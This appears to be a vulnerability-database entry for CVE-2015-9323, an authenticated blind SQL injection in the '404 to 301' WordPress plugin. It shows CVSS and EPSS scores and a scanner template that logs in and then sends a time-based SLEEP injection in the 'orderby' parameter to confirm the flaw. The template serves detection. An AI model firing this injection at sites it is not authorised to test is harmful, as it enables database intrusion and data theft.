7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.9 High
AI Score
Confidence
High
0.007 Low
EPSS
Percentile
80.0%
The 404 to 301 – Redirect, Log and Notify 404 Errors WordPress plugin was affected by an Authenticated Blind SQL Injection security vulnerability.
id: CVE-2015-9323
info:
name: 404 to 301 <= 2.0.2 - Authenticated Blind SQL Injection
author: Harsh
severity: critical
description: |
The 404 to 301 – Redirect, Log and Notify 404 Errors WordPress plugin was affected by an Authenticated Blind SQL Injection security vulnerability.
impact: |
Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, or potential compromise of the WordPress site.
remediation: Fixed in version 2.0.3
reference:
- https://wpscan.com/vulnerability/61586816-dd2b-461d-975f-1989502affd9
- http://cinu.pl/research/wp-plugins/mail_e28f19a8f03f0517f94cb9fea15d8525.html
- https://wordpress.org/plugins/404-to-301/#developers
- https://github.com/Enes4xd/Enes4xd
- https://github.com/Hacker5preme/Exploits
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2015-9323
cwe-id: CWE-89
epss-score: 0.0071
epss-percentile: 0.80421
cpe: cpe:2.3:a:duckdev:404_to_301:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: duckdev
product: 404_to_301
framework: wordpress
tags: cve2015,cve,404-to-301,sqli,wpscan,wp-plugin,wp,wordpress,authenticated,duckdev
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
@timeout: 15s
GET /wp-admin/admin.php?page=i4t3-logs&orderby=(SELECT+*+FROM+(SELECT+SLEEP(7))XXX)--+- HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration>=7'
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains(body, "404-to-301")'
condition: and
# digest: 4b0a00483046022100c27236f98002c3fa3feb31b6084010a0885416d66e5f558006f1e087f2c42369022100de53fe3a0f1b9880b34c9db76ee96cd7e8fe47827ba3e6701ed0c0cd911b5942:922c64590222798bb761d5b6d8e72950
7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.9 High
AI Score
Confidence
High
0.007 Low
EPSS
Percentile
80.0%